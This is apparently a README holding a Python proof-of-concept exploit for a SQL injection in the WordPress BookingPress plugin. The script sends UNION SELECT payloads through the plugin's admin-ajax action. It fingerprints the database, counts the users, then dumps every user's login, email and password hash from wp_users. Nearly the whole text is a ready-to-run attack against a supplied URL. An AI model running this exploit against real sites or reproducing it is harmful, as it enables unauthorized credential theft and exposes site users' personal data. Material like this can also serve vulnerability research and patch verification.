README.md
Rendering markdown...
import requests
from json import loads
from random import randint
from argparse import ArgumentParser
p = ArgumentParser()
p.add_argument('-u', '--url', dest='url', help='URL of wordpress server with vulnerable plugin (http://example.domain)', required=True)
p.add_argument('-n', '--nonce', dest='nonce', help='Nonce that you got as unauthenticated user', required=True)
trigger = ") UNION ALL SELECT @@VERSION,2,3,4,5,6,7,count(*),9 from wp_users-- -"
gainer = ') UNION ALL SELECT user_login,user_email,user_pass,NULL,NULL,NULL,NULL,NULL,NULL from wp_users limit 1 offset {off}-- -'
# Payload: ) AND ... -- - total(9)
def gen_payload(nonce, sqli_postfix, category_id=1):
return {
'action': 'bookingpress_front_get_category_services', # vulnerable action,
'_wpnonce': nonce,
'category_id': category_id,
'total_service': f'{randint(100, 10000)}{sqli_postfix}'
}
if __name__ == '__main__':
print('- BookingPress PoC')
i = 0
args = p.parse_args()
url, nonce = args.url, args.nonce
pool = requests.session()
# Check if target is vulnerable
v_url = f'{url}/wp-admin/admin-ajax.php'
proof_payload = gen_payload(nonce, trigger)
res = pool.post(v_url, data=proof_payload)
try:
res = list(loads(res.text)[0].values())
except Exception as e:
print('-- Got junk... Plugin not vulnerable or nonce is incorrect')
exit(-1)
cnt = int(res[7])
# Capture hashes
print('-- Got db fingerprint: ', res[0])
print('-- Count of users: ', cnt)
for i in range(cnt):
try:
# Generate payload
user_payload = gen_payload(nonce, gainer.format(off=i))
u_data = list(loads(pool.post(v_url, user_payload).text)[0].values())
print(f'|{u_data[0]}|{u_data[1]}|{u_data[2]}|')
except: continue